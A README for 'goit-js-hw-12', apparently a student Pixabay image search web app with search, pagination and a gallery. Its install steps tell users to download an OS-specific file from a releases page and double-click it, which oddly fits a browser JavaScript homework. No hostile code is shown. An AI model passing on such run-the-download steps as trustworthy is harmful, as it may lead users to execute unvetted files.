Welcome to the goit-js-hw-12 repository! This is a simple application that helps you search for images using the Pixabay API. You can quickly find and view beautiful pictures that you can use for your projects.
To run this application smoothly on your computer, ensure you meet the following requirements:
- An operating system: Windows, macOS, or Linux.
- A modern web browser: Chrome, Firefox, Safari, or Edge.
- A stable internet connection to access the Pixabay API and load images.
To install the application, visit this page to download: GitHub Releases Page.
- Open the link above.
- Scroll down to the "Assets" section.
- Choose the file that best fits your operating system.
- Click on the file name to start downloading.
- Once the download is complete, locate the file in your downloads folder.
After downloading the file, follow these steps to run the application:
- Double-click the downloaded file.
- Your default web browser should open automatically.
- If not, copy the file path and paste it into the address bar of your browser.
Once the application is running, you will see a search bar where you can enter keywords for images. Hereβs how to use it:
- Type in your desired keyword (e.g., "cats," "nature," or "food").
- Click the search button.
- Browse through the image results displayed on the screen.
You can click on any image to view it in detail.
This image search application offers several features to enhance your experience:
- Simple Search: Enter a keyword and find relevant images.
- Pagination: Easily navigate through multiple pages of results.
- Image Gallery: View images in a beautiful layout for easy browsing.
- Smooth Scroll: Enjoy seamless scrolling through image results.
You can customize some application settings in the configuration file. Here are some options you may adjust:
- Default Search Terms: Set default keywords to pre-fill in the search bar.
- Thumbnail Size: Choose the size of images shown in the gallery (small, medium, large).
- Light/Dark Mode: Toggle between light and dark modes based on your preference.
This project is licensed under the MIT License. You can use, modify, and distribute the software as per the terms of this license.
If you have any questions or need help using the application, feel free to open an issue in the repository. We welcome your feedback and will strive to make your experience better.
Stay updated with the latest changes and improvements to the project by following us on GitHub. You can also contribute to the project by making your own changes and submitting a pull request.
Thank you for choosing goit-js-hw-12. We hope you enjoy using the Pixabay Image Search Engine!